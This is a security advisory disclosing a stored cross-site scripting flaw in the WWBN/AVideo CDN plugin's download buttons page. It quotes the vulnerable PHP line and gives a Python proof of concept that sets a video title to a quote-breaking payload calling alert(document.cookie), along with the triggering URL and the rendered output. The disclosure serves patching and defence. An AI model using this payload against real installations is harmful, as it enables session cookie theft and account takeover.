GHSA-gc3m-4mcr-h3pv

### Summary WWBN/AVideo contains a stored cross-site scripting vulnerability in the CDN plugin's download buttons component. The `clean_title` field of a video record is interpolated directly into a JavaScript string literal without any escaping, allowing an attacker who can create or modify a video to inject arbitrary JavaScript that executes in the browser of any user who visits the affected download page. ### Details At line 59 of the affected file, the following PHP code constructs a JavaScript function call: ```php downloadURLOrAlertError(url, {}, '<?php echo $video['clean_title']; ?>.' + format, progress); ``` The `clean_title` value is echoed verbatim inside a single-quoted JavaScript string literal. No JavaScript-context escaping is applied, such as wrapping with `json_encode` or htmlspecialchars with appropriate flags. Because the value sits inside a JS string delimited by single quotes, any input containing a single quote character allows an attacker to terminate the string prematurely and inject arbitrary JavaScript expressions. The `clean_title` field is derived from user-supplied video title input, meaning any user with video creation or editing privileges can craft a malicious title. The injected script executes in the security context of whatever user loads the download page for that video, which may include administrators or authenticated users with elevated privileges. ### PoC ```python import requests target = "https://example.com" login_url = f"{target}/user" upload_url = f"{target}/video/addNew" session = requests.Session() session.post(login_url, data={ "user[user]": "attacker", "user[pass]": "attackerpassword" }) malicious_title = "');alert(document.cookie);//" session.post(upload_url, data={ "title": malicious_title, "description": "poc" }) ``` After the video is created, navigate to: ``` https://example.com/plugin/CDN/downloadButtons.php?videos_id=<TARGET_VIDEO_ID> ``` The rendered page will contain: ```javascript downloadURLOrAlertError(url, {}, '');alert(document.cookie);//.' + format, progress); ``` ### Impact Any user who can create or edit a video can store malicious JavaScript that will execute in the browser of any other user who visits the download page for that video. This includes scenarios where an attacker with a low-privilege account targets administrator sessions. Successful exploitation enables session cookie theft, credential harvesting, and actions performed on behalf of the victim within the application. Because the payload is stored server-side and triggers without further attacker interaction, all users who access download pages for attacker-controlled videos are at risk.